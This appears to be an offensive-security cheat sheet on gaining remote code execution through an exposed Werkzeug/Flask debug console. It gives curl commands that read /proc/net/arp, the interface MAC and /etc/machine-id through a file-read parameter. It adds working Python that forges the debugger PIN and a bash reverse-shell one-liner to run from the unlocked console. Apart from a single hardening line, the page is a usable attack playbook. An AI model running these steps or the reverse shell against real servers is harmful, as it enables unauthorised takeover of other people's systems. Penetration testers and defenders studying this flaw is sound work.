Service bank
WEB / APP 5000/tcp 80/tcp

Werkzeug / Flask Debug Console

aka flask

Python Flask apps run on Werkzeug; with debug mode left on, the interactive console at /console gives RCE once you forge the debugger PIN. The PIN is derived from public bits (app user, module path) plus three server-specific values — the network interface, its MAC address, and the machine-id — which you read through an LFI/file-read.

Ports

PortProtoNotes
5000tcpFlask default dev server
80tcpbehind a reverse proxy

Fingerprint

  • Server header 'Werkzeug/x.y.z Python/3.x'
  • Interactive traceback page on error; /console endpoint exists

Key files

PathHoldsSensitive
/proc/net/arp the active network interface name (e.g. eth0 / ens33) sensitive
/sys/class/net/<iface>/address the interface MAC — becomes uuid.getnode() sensitive
/etc/machine-id machine id (or /proc/sys/kernel/random/boot_id) sensitive
/proc/self/cgroup appended to machine-id on newer Werkzeug sensitive

Exploitation primitives

  • Debug=True exposes /console — an interactive Python REPL in the browser
  • The PIN needs an LFI/file-read to leak three server-specific values: interface name, that interface's MAC, and the machine-id
  • Plus public bits: the app's run user, module name (flask.app), app class (Flask) and the flask app.py path
  • Reproduce the PIN with the Werkzeug algorithm, unlock /console, run os.popen() for RCE as the app user

Overview

When a Flask/Werkzeug app ships with debug=True, any unhandled error exposes an interactive console at /console. It’s PIN-locked, but the PIN is deterministic — it’s hashed from values that live on the server, so if you have a file-read primitive (an LFI, traversal, or the app’s own file endpoint) you can reproduce it offline. No brute force.

Trigger the console

Force an exception, then open the console pane on the traceback page, or hit it directly:

http://<TARGET>:5000/console

What the PIN is made of

Werkzeug builds the PIN from two groups. The public bits you can usually guess; the private (server-specific) bits are the three values you must read off the box:

GroupValueWhere to get it
publicapp run user/etc/passwd, or the process owner
publicmodule namealmost always flask.app
publicapp class namealmost always Flask
publicflask app.py pathe.g. /usr/local/lib/python3.9/site-packages/flask/app.py (seen in the traceback)
privatenetwork interface/proc/net/arp → gives the active iface (e.g. eth0, ens33)
privateinterface MAC/sys/class/net/<iface>/address → converted to an int = uuid.getnode()
privatemachine-id/etc/machine-id (or /proc/sys/kernel/random/boot_id), plus /proc/self/cgroup on newer Werkzeug

Leak the three server-specific values

Find the active interface name:

curl http://<TARGET>:5000/?file=/proc/net/arp

Read that interface’s MAC (here eth0):

curl http://<TARGET>:5000/?file=/sys/class/net/eth0/address

Read the machine-id (and cgroup on modern Werkzeug):

curl http://<TARGET>:5000/?file=/etc/machine-id

Reproduce the PIN

Feed the leaked values into the Werkzeug algorithm. The MAC must be converted to its integer form (uuid.getnode() style — strip the colons and int(mac, 16)):

import hashlib
from itertools import chain

probably_public_bits = [
    'app-user',                 # run user
    'flask.app',                # modname
    'Flask',                    # app class
    '/usr/local/lib/python3.9/site-packages/flask/app.py',  # app.py path
]
private_bits = [
    str(0xa2dead9431d1),        # int(MAC.replace(':',''),16) from /sys/class/net/<iface>/address
    'machine-id-value' + 'cgroup-line',  # /etc/machine-id (+ /proc/self/cgroup on newer)
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    h.update(bit.encode('utf-8'))
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]

h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = '-'.join(num[i:i+3] for i in range(0, len(num), 3))
print(rv)

Unlock /console with the PIN, then run a command as the app user:

import os; os.popen('bash -c "bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1"').read()

Hardening

Never run with debug=True in production — the console alone is full RCE, and the PIN is only a speed bump once any file-read exists.

References